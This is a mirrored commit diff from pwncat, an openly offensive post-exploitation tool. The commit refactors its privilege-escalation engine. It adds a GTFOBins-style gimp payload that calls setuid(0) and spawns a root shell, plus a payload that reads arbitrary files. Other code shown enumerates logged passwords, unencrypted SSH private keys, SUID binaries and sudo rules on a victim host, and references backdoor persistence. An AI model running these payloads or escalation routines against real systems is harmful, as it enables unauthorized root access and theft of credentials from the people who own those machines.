mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-24 01:25:37 +01:00
Removed old logging code in privesc command. Slow and steady. D:
This commit is contained in:
parent
96e4688dae
commit
f1affd82c1
@ -11,7 +11,7 @@ from pwncat.commands.base import (
|
|||||||
StoreConstOnce,
|
StoreConstOnce,
|
||||||
StoreForAction,
|
StoreForAction,
|
||||||
)
|
)
|
||||||
from pwncat import util, privesc
|
from pwncat import privesc
|
||||||
from pwncat.persist import PersistenceError
|
from pwncat.persist import PersistenceError
|
||||||
from pwncat.util import State, console
|
from pwncat.util import State, console
|
||||||
from colorama import Fore
|
from colorama import Fore
|
||||||
@ -137,7 +137,7 @@ class Command(CommandDefinition):
|
|||||||
read_pipe, chain, technique = pwncat.victim.privesc.read_file(
|
read_pipe, chain, technique = pwncat.victim.privesc.read_file(
|
||||||
args.path, args.user, args.max_depth
|
args.path, args.user, args.max_depth
|
||||||
)
|
)
|
||||||
util.success(f"file successfully opened with {technique}!")
|
console.log(f"file [green]opened[/green] with {technique}")
|
||||||
|
|
||||||
# Read the data from the pipe
|
# Read the data from the pipe
|
||||||
shutil.copyfileobj(read_pipe, sys.stdout.buffer)
|
shutil.copyfileobj(read_pipe, sys.stdout.buffer)
|
||||||
@ -147,7 +147,7 @@ class Command(CommandDefinition):
|
|||||||
pwncat.victim.privesc.unwrap(chain)
|
pwncat.victim.privesc.unwrap(chain)
|
||||||
|
|
||||||
except privesc.PrivescError as exc:
|
except privesc.PrivescError as exc:
|
||||||
util.error(f"read file failed: {exc}")
|
console.log(f"file write [red]failed[/red]")
|
||||||
elif args.action == "write":
|
elif args.action == "write":
|
||||||
# Make sure the correct arguments are present
|
# Make sure the correct arguments are present
|
||||||
if not args.path:
|
if not args.path:
|
||||||
@ -159,8 +159,8 @@ class Command(CommandDefinition):
|
|||||||
try:
|
try:
|
||||||
with open(args.data, "rb") as f:
|
with open(args.data, "rb") as f:
|
||||||
data = f.read()
|
data = f.read()
|
||||||
except PermissionError:
|
except (PermissionError, FileNotFoundError):
|
||||||
self.parser.error(f"no local permission to read: {args.data}")
|
console.log(f"{args.data}: no such file or directory")
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Attempt to write the data to the remote file
|
# Attempt to write the data to the remote file
|
||||||
@ -168,47 +168,25 @@ class Command(CommandDefinition):
|
|||||||
args.path, data, target_user=args.user, depth=args.max_depth,
|
args.path, data, target_user=args.user, depth=args.max_depth,
|
||||||
)
|
)
|
||||||
pwncat.victim.privesc.unwrap(chain)
|
pwncat.victim.privesc.unwrap(chain)
|
||||||
util.success("file written successfully!")
|
console.log("file write [green]succeeded[/green]")
|
||||||
except privesc.PrivescError as exc:
|
except privesc.PrivescError as exc:
|
||||||
util.error(f"file write failed: {exc}")
|
console.log(f"file write [red]failed[/red]: {exc}")
|
||||||
elif args.action == "escalate":
|
elif args.action == "escalate":
|
||||||
try:
|
try:
|
||||||
chain = pwncat.victim.privesc.escalate(
|
chain = pwncat.victim.privesc.escalate(
|
||||||
args.user, depth=args.max_depth, exclude=args.exclude
|
args.user, depth=args.max_depth, exclude=args.exclude
|
||||||
)
|
)
|
||||||
|
|
||||||
ident = pwncat.victim.id
|
|
||||||
if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
|
|
||||||
util.progress(
|
|
||||||
"mismatched euid and uid; attempting backdoor installation."
|
|
||||||
)
|
|
||||||
for method in pwncat.victim.persist.available:
|
|
||||||
if not method.system or not method.local:
|
|
||||||
continue
|
|
||||||
try:
|
|
||||||
# Attempt to install this persistence method
|
|
||||||
pwncat.victim.persist.install(method.name)
|
|
||||||
if not method.escalate():
|
|
||||||
# The escalation didn't work, remove it and try the next
|
|
||||||
pwncat.victim.persist.remove(method.name)
|
|
||||||
continue
|
|
||||||
chain.append(
|
|
||||||
(
|
|
||||||
f"{method.format()} ([cyan]euid[/cyan] correction)",
|
|
||||||
"exit",
|
|
||||||
)
|
|
||||||
)
|
|
||||||
break
|
|
||||||
except PersistenceError:
|
|
||||||
continue
|
|
||||||
else:
|
|
||||||
util.warn("failed to correct uid/euid mismatch")
|
|
||||||
|
|
||||||
console.log("privilege escalation succeeded using:")
|
console.log("privilege escalation succeeded using:")
|
||||||
for i, (technique, _) in enumerate(chain):
|
for i, (technique, _) in enumerate(chain):
|
||||||
arrow = f"[yellow]\u2ba1[/yellow] "
|
arrow = f"[yellow]\u2ba1[/yellow] "
|
||||||
console.log(f"{(i+1)*' '}{arrow}{technique}")
|
console.log(f"{(i+1)*' '}{arrow}{technique}")
|
||||||
|
|
||||||
|
ident = pwncat.victim.id
|
||||||
|
if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
|
||||||
|
pwncat.victim.command_parser.dispatch_line("euid_fix")
|
||||||
|
|
||||||
pwncat.victim.reset()
|
pwncat.victim.reset()
|
||||||
pwncat.victim.state = State.RAW
|
pwncat.victim.state = State.RAW
|
||||||
except privesc.PrivescError as exc:
|
except privesc.PrivescError as exc:
|
||||||
util.error(f"escalation failed: {exc}")
|
console.log(f"privilege escalation [red]failed[/red]: {exc}")
|
||||||
|
@ -779,6 +779,35 @@
|
|||||||
}
|
}
|
||||||
],
|
],
|
||||||
//-------------------------------------------------------------------
|
//-------------------------------------------------------------------
|
||||||
|
"gimp-2.8": [
|
||||||
|
{
|
||||||
|
"type": "shell",
|
||||||
|
"payload": "{command}",
|
||||||
|
"args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'import os, pty;exec(\"try:\\n\\tos.setuid(0);\\nexcept:\\n\\tpass\\ntry:\\n\\tos.setgid(0)\\nexcept:\\n\\tpass\"); pty.spawn(\"{shell}\");gimp.exit()'"],
|
||||||
|
"exit": "exit"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"type": "read",
|
||||||
|
"stream": "raw",
|
||||||
|
"payload": "{command} 2>/dev/null",
|
||||||
|
"args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'import sys; sys.stdout.write(open(\"{lfile}\",\"rb\").read());gimp.exit()'"]
|
||||||
|
}
|
||||||
|
|
||||||
|
// This 'write' technique seems to fail because it cannot capture stdin, being a "subprocess".
|
||||||
|
// Since it can get a shell, this is not really an issue.
|
||||||
|
// {
|
||||||
|
// "type": "write",
|
||||||
|
// "stream":"raw",
|
||||||
|
// "payload": "{command} 2>/dev/null",
|
||||||
|
// "args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'import sys, shutil; shutil.copyfileobj(sys.stdin.buffer, open(\"{lfile}\",\"wb\"),length={length});gimp.exit()'"]
|
||||||
|
// },
|
||||||
|
// {
|
||||||
|
// "type": "write",
|
||||||
|
// "stream":"base64",
|
||||||
|
// "payload": "{command} 2>/dev/null",
|
||||||
|
// "args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'exec(\"\"\"import sys,base64\\nwith open(\"{lfile}\",\"wb\") as f:\\n\\tfor chunk in iter(lambda: sys.stdin.read(4), b\"\"):\\n\\t\\tf.write(base64.b64decode(chunk))\"\"\")\\ngimp.exit()'"]
|
||||||
|
// }
|
||||||
|
],
|
||||||
"gimp": [
|
"gimp": [
|
||||||
{
|
{
|
||||||
"type": "shell",
|
"type": "shell",
|
||||||
|
@ -71,21 +71,37 @@ class Finder:
|
|||||||
if exclude is None:
|
if exclude is None:
|
||||||
exclude = []
|
exclude = []
|
||||||
|
|
||||||
techniques = []
|
if target_user is None:
|
||||||
for method in self.methods:
|
target_user = "[any]"
|
||||||
try:
|
|
||||||
if method.id in exclude:
|
|
||||||
continue
|
|
||||||
techniques.extend(method.enumerate())
|
|
||||||
except PrivescError:
|
|
||||||
pass
|
|
||||||
|
|
||||||
if target_user is not None:
|
with Progress(
|
||||||
techniques = [
|
f"[cyan]{pwncat.victim.current_user.name}[/cyan]",
|
||||||
technique for technique in techniques if technique.user == target_user
|
"→",
|
||||||
]
|
f"[yellow]{target_user}[/yellow]",
|
||||||
|
"•",
|
||||||
|
"enumerating",
|
||||||
|
"•",
|
||||||
|
"{task.fields[method]}",
|
||||||
|
"•",
|
||||||
|
"{task.fields[step]}",
|
||||||
|
console=console,
|
||||||
|
auto_refresh=True,
|
||||||
|
transient=True,
|
||||||
|
) as progress:
|
||||||
|
task = progress.add_task("enumerating", method="initializing", step="")
|
||||||
|
techniques = []
|
||||||
|
for method in self.methods:
|
||||||
|
progress.update(task, method=str(method))
|
||||||
|
try:
|
||||||
|
if method.id in exclude:
|
||||||
|
continue
|
||||||
|
for tech in method.enumerate(progress, task):
|
||||||
|
if target_user == tech.user or target_user == "[any]":
|
||||||
|
techniques.append(tech)
|
||||||
|
except PrivescError:
|
||||||
|
pass
|
||||||
|
|
||||||
return techniques
|
return techniques
|
||||||
|
|
||||||
def add_backdoor(self):
|
def add_backdoor(self):
|
||||||
""" Add the backdoor user if it doesn't already exist. This is normally
|
""" Add the backdoor user if it doesn't already exist. This is normally
|
||||||
@ -168,47 +184,70 @@ class Finder:
|
|||||||
except UnicodeDecodeError:
|
except UnicodeDecodeError:
|
||||||
data_printable = False
|
data_printable = False
|
||||||
|
|
||||||
for method in self.methods:
|
with Progress(
|
||||||
try:
|
f"write [cyan]{filename}[/cyan] as [yellow]{target_user}[/yellow]",
|
||||||
found_techniques = method.enumerate(Capability.ALL)
|
"•",
|
||||||
for tech in found_techniques:
|
"{task.fields[status]}",
|
||||||
if (
|
"•",
|
||||||
tech.user == target_user
|
"{task.fields[step]}",
|
||||||
and Capability.WRITE in tech.capabilities
|
console=console,
|
||||||
):
|
auto_refresh=True,
|
||||||
try:
|
transient=True,
|
||||||
tech.method.write_file(filename, data, tech)
|
) as progress:
|
||||||
return chain
|
|
||||||
except PrivescError:
|
|
||||||
pass
|
|
||||||
if tech.user not in user_map:
|
|
||||||
user_map[tech.user] = []
|
|
||||||
user_map[tech.user].append(tech)
|
|
||||||
except PrivescError:
|
|
||||||
pass
|
|
||||||
|
|
||||||
shlvl = pwncat.victim.getenv("SHLVL")
|
task = progress.add_task(
|
||||||
|
"writing", status="enumerating", step="initializing"
|
||||||
|
)
|
||||||
|
|
||||||
# We can't escalate directly to the target to read a file. So, try recursively
|
for method in self.methods:
|
||||||
# against other users.
|
try:
|
||||||
for user, techniques in user_map.items():
|
found_techniques = method.enumerate(progress, task, Capability.ALL)
|
||||||
if user == target_user:
|
for tech in found_techniques:
|
||||||
continue
|
progress.update(task, step=str(tech))
|
||||||
if self.in_chain(user, chain):
|
if (
|
||||||
continue
|
tech.user == target_user
|
||||||
try:
|
and Capability.WRITE in tech.capabilities
|
||||||
tech, exit_command = self.escalate_single(techniques, shlvl)
|
):
|
||||||
chain.append((tech, exit_command))
|
progress.update(task, step=f"attempting {tech}")
|
||||||
except PrivescError:
|
try:
|
||||||
continue
|
tech.method.write_file(filename, data, tech)
|
||||||
try:
|
return chain
|
||||||
return self.write_file(
|
except PrivescError:
|
||||||
filename, data, safe, target_user, depth, chain, starting_user
|
pass
|
||||||
)
|
if tech.user not in user_map:
|
||||||
except PrivescError:
|
user_map[tech.user] = []
|
||||||
tech, exit_command = chain[-1]
|
user_map[tech.user].append(tech)
|
||||||
pwncat.victim.run(exit_command, wait=False)
|
except PrivescError:
|
||||||
chain.pop()
|
pass
|
||||||
|
|
||||||
|
shlvl = pwncat.victim.getenv("SHLVL")
|
||||||
|
|
||||||
|
progress.update(task, status="recursing", step="")
|
||||||
|
|
||||||
|
# We can't escalate directly to the target to read a file. So, try recursively
|
||||||
|
# against other users.
|
||||||
|
for user, techniques in user_map.items():
|
||||||
|
if user == target_user:
|
||||||
|
continue
|
||||||
|
if self.in_chain(user, chain):
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
progress.update(task, step=f"escalating to [green]{user}[/green]")
|
||||||
|
tech, exit_command = self.escalate_single(
|
||||||
|
techniques, shlvl, progress, task
|
||||||
|
)
|
||||||
|
chain.append((tech, exit_command))
|
||||||
|
except PrivescError:
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
progress.update(task, step=f"recursing to [green]{user}[/green]")
|
||||||
|
return self.write_file(
|
||||||
|
filename, data, safe, target_user, depth, chain, starting_user
|
||||||
|
)
|
||||||
|
except PrivescError:
|
||||||
|
tech, exit_command = chain[-1]
|
||||||
|
pwncat.victim.run(exit_command, wait=False)
|
||||||
|
chain.pop()
|
||||||
|
|
||||||
raise PrivescError(f"no route to {target_user} found")
|
raise PrivescError(f"no route to {target_user} found")
|
||||||
|
|
||||||
@ -241,48 +280,68 @@ class Finder:
|
|||||||
if depth is not None and len(chain) > depth:
|
if depth is not None and len(chain) > depth:
|
||||||
raise PrivescError("max depth reached")
|
raise PrivescError("max depth reached")
|
||||||
|
|
||||||
# Enumerate escalation options for this user
|
with Progress(
|
||||||
user_map = {}
|
f"write [cyan]{filename}[/cyan] as [yellow]{target_user}[/yellow]",
|
||||||
for method in self.methods:
|
"•",
|
||||||
try:
|
"{task.fields[status]}",
|
||||||
found_techniques = method.enumerate(Capability.ALL)
|
"•",
|
||||||
for tech in found_techniques:
|
"{task.fields[step]}",
|
||||||
if tech.user == target_user and (
|
console=console,
|
||||||
tech.capabilities & Capability.READ
|
auto_refresh=True,
|
||||||
):
|
transient=True,
|
||||||
try:
|
) as progress:
|
||||||
read_pipe = tech.method.read_file(filename, tech)
|
|
||||||
return (read_pipe, chain, tech)
|
|
||||||
except PrivescError:
|
|
||||||
pass
|
|
||||||
if tech.user not in user_map:
|
|
||||||
user_map[tech.user] = []
|
|
||||||
user_map[tech.user].append(tech)
|
|
||||||
except PrivescError:
|
|
||||||
pass
|
|
||||||
|
|
||||||
shlvl = pwncat.victim.getenv("SHLVL")
|
task = progress.add_task(
|
||||||
|
"reading", status="enumerating", step="initializing"
|
||||||
|
)
|
||||||
|
# Enumerate escalation options for this user
|
||||||
|
user_map = {}
|
||||||
|
for method in self.methods:
|
||||||
|
try:
|
||||||
|
found_techniques = method.enumerate(progress, task, Capability.ALL)
|
||||||
|
for tech in found_techniques:
|
||||||
|
progress.update(task, step=str(tech))
|
||||||
|
if tech.user == target_user and (
|
||||||
|
tech.capabilities & Capability.READ
|
||||||
|
):
|
||||||
|
progress.update(task, step=f"attempting {tech}")
|
||||||
|
try:
|
||||||
|
read_pipe = tech.method.read_file(filename, tech)
|
||||||
|
return (read_pipe, chain, tech)
|
||||||
|
except PrivescError:
|
||||||
|
pass
|
||||||
|
if tech.user not in user_map:
|
||||||
|
user_map[tech.user] = []
|
||||||
|
user_map[tech.user].append(tech)
|
||||||
|
except PrivescError:
|
||||||
|
pass
|
||||||
|
|
||||||
# We can't escalate directly to the target to read a file. So, try recursively
|
shlvl = pwncat.victim.getenv("SHLVL")
|
||||||
# against other users.
|
|
||||||
for user, techniques in user_map.items():
|
progress.update(task, status="recursing", step="")
|
||||||
if user == target_user:
|
|
||||||
continue
|
# We can't escalate directly to the target to read a file. So, try recursively
|
||||||
if self.in_chain(user, chain):
|
# against other users.
|
||||||
continue
|
for user, techniques in user_map.items():
|
||||||
try:
|
if user == target_user:
|
||||||
tech, exit_command = self.escalate_single(techniques, shlvl)
|
continue
|
||||||
chain.append((tech, exit_command))
|
if self.in_chain(user, chain):
|
||||||
except PrivescError:
|
continue
|
||||||
continue
|
try:
|
||||||
try:
|
progress.update(task, step=f"escalating to [green]{user}[/green]")
|
||||||
return self.read_file(
|
tech, exit_command = self.escalate_single(techniques, shlvl)
|
||||||
filename, target_user, depth, chain, starting_user
|
chain.append((tech, exit_command))
|
||||||
)
|
except PrivescError:
|
||||||
except PrivescError:
|
continue
|
||||||
tech, exit_command = chain[-1]
|
try:
|
||||||
pwncat.victim.run(exit_command, wait=False)
|
progress.update(task, step=f"recursing to [green]{user}[/green]")
|
||||||
chain.pop()
|
return self.read_file(
|
||||||
|
filename, target_user, depth, chain, starting_user
|
||||||
|
)
|
||||||
|
except PrivescError:
|
||||||
|
tech, exit_command = chain[-1]
|
||||||
|
pwncat.victim.run(exit_command, wait=False)
|
||||||
|
chain.pop()
|
||||||
|
|
||||||
raise PrivescError(f"no route to {target_user} found")
|
raise PrivescError(f"no route to {target_user} found")
|
||||||
|
|
||||||
@ -775,7 +834,9 @@ class Finder:
|
|||||||
continue
|
continue
|
||||||
try:
|
try:
|
||||||
found_techniques = method.enumerate(
|
found_techniques = method.enumerate(
|
||||||
Capability.SHELL | Capability.WRITE | Capability.READ
|
progress,
|
||||||
|
task,
|
||||||
|
Capability.SHELL | Capability.WRITE | Capability.READ,
|
||||||
)
|
)
|
||||||
for tech in found_techniques:
|
for tech in found_techniques:
|
||||||
progress.update(task, step=str(tech))
|
progress.update(task, step=str(tech))
|
||||||
@ -949,7 +1010,7 @@ class BaseMethod:
|
|||||||
raise PrivescError(f"required remote binary not found: {binary}")
|
raise PrivescError(f"required remote binary not found: {binary}")
|
||||||
|
|
||||||
def enumerate(
|
def enumerate(
|
||||||
self, capability: int = Capability.ALL
|
self, progress: Progress, task: Any, capability: int = Capability.ALL
|
||||||
) -> Generator[Technique, None, None]:
|
) -> Generator[Technique, None, None]:
|
||||||
"""
|
"""
|
||||||
Enumerate all possible techniques known and possible on the remote host for
|
Enumerate all possible techniques known and possible on the remote host for
|
||||||
|
@ -27,7 +27,9 @@ class Method(BaseMethod):
|
|||||||
id = "enum.passwords"
|
id = "enum.passwords"
|
||||||
BINARIES = ["su"]
|
BINARIES = ["su"]
|
||||||
|
|
||||||
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
|
def enumerate(
|
||||||
|
self, progress, task, capability: int = Capability.ALL
|
||||||
|
) -> List[Technique]:
|
||||||
"""
|
"""
|
||||||
Enumerate capabilities for this method.
|
Enumerate capabilities for this method.
|
||||||
|
|
||||||
@ -43,6 +45,9 @@ class Method(BaseMethod):
|
|||||||
|
|
||||||
techniques = []
|
techniques = []
|
||||||
for fact in pwncat.victim.enumerate.iter(typ="configuration.password"):
|
for fact in pwncat.victim.enumerate.iter(typ="configuration.password"):
|
||||||
|
|
||||||
|
progress.update(task, step=str(fact.data))
|
||||||
|
|
||||||
if fact.data.value is None:
|
if fact.data.value is None:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
@ -69,8 +74,6 @@ class Method(BaseMethod):
|
|||||||
|
|
||||||
seen_password.append(fact.data.value)
|
seen_password.append(fact.data.value)
|
||||||
|
|
||||||
return techniques
|
|
||||||
|
|
||||||
def execute(self, technique: Technique) -> bytes:
|
def execute(self, technique: Technique) -> bytes:
|
||||||
"""
|
"""
|
||||||
Escalate to the new user and return a string used to exit the shell
|
Escalate to the new user and return a string used to exit the shell
|
||||||
|
@ -14,7 +14,9 @@ class Method(BaseMethod):
|
|||||||
id = "logged-passwords"
|
id = "logged-passwords"
|
||||||
BINARIES = ["su"]
|
BINARIES = ["su"]
|
||||||
|
|
||||||
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
|
def enumerate(
|
||||||
|
self, progress, task, capability: int = Capability.ALL
|
||||||
|
) -> List[Technique]:
|
||||||
"""
|
"""
|
||||||
Enumerate capabilities for this method.
|
Enumerate capabilities for this method.
|
||||||
|
|
||||||
@ -24,9 +26,10 @@ class Method(BaseMethod):
|
|||||||
|
|
||||||
# We only provide shell capability
|
# We only provide shell capability
|
||||||
if Capability.SHELL not in capability:
|
if Capability.SHELL not in capability:
|
||||||
return []
|
return
|
||||||
|
|
||||||
for fact in pwncat.victim.enumerate.iter(typ="system.user.password"):
|
for fact in pwncat.victim.enumerate.iter(typ="system.user.password"):
|
||||||
|
progress.update(task, step=str(fact.data))
|
||||||
yield Technique(fact.data.user.name, self, fact.data, Capability.SHELL)
|
yield Technique(fact.data.user.name, self, fact.data, Capability.SHELL)
|
||||||
|
|
||||||
def execute(self, technique: Technique) -> bytes:
|
def execute(self, technique: Technique) -> bytes:
|
||||||
|
@ -14,7 +14,9 @@ class Method(BaseMethod):
|
|||||||
id = "enum.privkeys"
|
id = "enum.privkeys"
|
||||||
BINARIES = ["ssh"]
|
BINARIES = ["ssh"]
|
||||||
|
|
||||||
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
|
def enumerate(
|
||||||
|
self, progress, task, capability: int = Capability.ALL
|
||||||
|
) -> List[Technique]:
|
||||||
"""
|
"""
|
||||||
Enumerate capabilities for this method.
|
Enumerate capabilities for this method.
|
||||||
|
|
||||||
@ -33,6 +35,7 @@ class Method(BaseMethod):
|
|||||||
return
|
return
|
||||||
|
|
||||||
for fact in pwncat.victim.enumerate.iter(typ="system.user.private_key"):
|
for fact in pwncat.victim.enumerate.iter(typ="system.user.private_key"):
|
||||||
|
progress.update(task, step=str(fact.data))
|
||||||
if not fact.data.encrypted:
|
if not fact.data.encrypted:
|
||||||
yield Technique(fact.data.user.name, self, fact.data, Capability.SHELL)
|
yield Technique(fact.data.user.name, self, fact.data, Capability.SHELL)
|
||||||
|
|
||||||
|
@ -17,23 +17,27 @@ class Method(BaseMethod):
|
|||||||
id = "screen-suid"
|
id = "screen-suid"
|
||||||
BINARIES = []
|
BINARIES = []
|
||||||
|
|
||||||
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
|
def enumerate(
|
||||||
|
self, progress, task, capability: int = Capability.ALL
|
||||||
|
) -> List[Technique]:
|
||||||
""" Find all techniques known at this time """
|
""" Find all techniques known at this time """
|
||||||
|
|
||||||
# If we have ran this before, don't bother running it
|
# If we have ran this before, don't bother running it
|
||||||
if Capability.SHELL not in capability:
|
if Capability.SHELL not in capability:
|
||||||
return []
|
return
|
||||||
|
|
||||||
# Grab all possibly vulnerable screen version
|
# Grab all possibly vulnerable screen version
|
||||||
# It has to be SUID for this to work.
|
# It has to be SUID for this to work.
|
||||||
facts = [
|
facts = []
|
||||||
f
|
for fact in pwncat.victim.enumerate("screen-version"):
|
||||||
for f in pwncat.victim.enumerate("screen-version")
|
progress.update(task, step=str(fact.data))
|
||||||
if f.data.vulnerable and f.data.perms & 0o4000
|
if fact.data.vulnerable and fact.data.perms & 0o4000:
|
||||||
]
|
facts.append(fact)
|
||||||
|
|
||||||
for fact in facts:
|
for fact in facts:
|
||||||
|
|
||||||
|
progress.update(task, step=str(fact.data))
|
||||||
|
|
||||||
# Carve out the version of screen
|
# Carve out the version of screen
|
||||||
version_output = (
|
version_output = (
|
||||||
pwncat.victim.run(f"{fact.data.path} -v").decode("utf-8").strip()
|
pwncat.victim.run(f"{fact.data.path} -v").decode("utf-8").strip()
|
||||||
|
@ -16,11 +16,15 @@ class Method(BaseMethod):
|
|||||||
id = "setuid"
|
id = "setuid"
|
||||||
BINARIES = ["find"]
|
BINARIES = ["find"]
|
||||||
|
|
||||||
def enumerate(self, caps: Capability = Capability.ALL) -> List[Technique]:
|
def enumerate(
|
||||||
|
self, progress, task, caps: Capability = Capability.ALL
|
||||||
|
) -> List[Technique]:
|
||||||
""" Find all techniques known at this time """
|
""" Find all techniques known at this time """
|
||||||
|
|
||||||
for suid in pwncat.victim.enumerate.iter("suid"):
|
for suid in pwncat.victim.enumerate.iter("suid"):
|
||||||
|
|
||||||
|
progress.update(task, step=str(suid.data))
|
||||||
|
|
||||||
try:
|
try:
|
||||||
binary = pwncat.victim.gtfo.find_binary(suid.data.path, caps)
|
binary = pwncat.victim.gtfo.find_binary(suid.data.path, caps)
|
||||||
except BinaryNotFound:
|
except BinaryNotFound:
|
||||||
|
@ -14,11 +14,12 @@ class Method(BaseMethod):
|
|||||||
id = "su"
|
id = "su"
|
||||||
BINARIES = ["su"]
|
BINARIES = ["su"]
|
||||||
|
|
||||||
def enumerate(self, capability=Capability.ALL) -> List[Technique]:
|
def enumerate(self, progress, task, capability=Capability.ALL) -> List[Technique]:
|
||||||
|
|
||||||
current_user = pwncat.victim.whoami()
|
current_user = pwncat.victim.whoami()
|
||||||
|
|
||||||
for user, info in pwncat.victim.users.items():
|
for user, info in pwncat.victim.users.items():
|
||||||
|
progress.update(task, step=str(user))
|
||||||
if user == current_user:
|
if user == current_user:
|
||||||
continue
|
continue
|
||||||
if info.password is not None or current_user == "root":
|
if info.password is not None or current_user == "root":
|
||||||
|
@ -16,12 +16,16 @@ class Method(BaseMethod):
|
|||||||
id = "sudo"
|
id = "sudo"
|
||||||
BINARIES = ["sudo"]
|
BINARIES = ["sudo"]
|
||||||
|
|
||||||
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
|
def enumerate(
|
||||||
|
self, progress, task, capability: int = Capability.ALL
|
||||||
|
) -> List[Technique]:
|
||||||
""" Find all techniques known at this time """
|
""" Find all techniques known at this time """
|
||||||
|
|
||||||
rules = []
|
rules = []
|
||||||
for fact in pwncat.victim.enumerate("sudo"):
|
for fact in pwncat.victim.enumerate("sudo"):
|
||||||
|
|
||||||
|
progress.update(task, step=str(fact.data))
|
||||||
|
|
||||||
# Doesn't appear to be a user specification
|
# Doesn't appear to be a user specification
|
||||||
if not fact.data.matched:
|
if not fact.data.matched:
|
||||||
continue
|
continue
|
||||||
@ -52,6 +56,7 @@ class Method(BaseMethod):
|
|||||||
|
|
||||||
for rule in rules:
|
for rule in rules:
|
||||||
for method in pwncat.victim.gtfo.iter_sudo(rule.command, caps=capability):
|
for method in pwncat.victim.gtfo.iter_sudo(rule.command, caps=capability):
|
||||||
|
progress.update(task, step=str(rule))
|
||||||
user = "root" if rule.runas_user == "ALL" else rule.runas_user
|
user = "root" if rule.runas_user == "ALL" else rule.runas_user
|
||||||
yield Technique(user, self, (method, rule), method.cap)
|
yield Technique(user, self, (method, rule), method.cap)
|
||||||
|
|
||||||
|
@ -578,7 +578,7 @@ class Victim:
|
|||||||
with self.open("/proc/1/comm", "r") as filp:
|
with self.open("/proc/1/comm", "r") as filp:
|
||||||
init = filp.read()
|
init = filp.read()
|
||||||
except (FileNotFoundError, PermissionError):
|
except (FileNotFoundError, PermissionError):
|
||||||
init = None
|
init = "unknown"
|
||||||
|
|
||||||
if "systemd" in init:
|
if "systemd" in init:
|
||||||
self.host.init = util.Init.SYSTEMD
|
self.host.init = util.Init.SYSTEMD
|
||||||
|
Loading…
Reference in New Issue
Block a user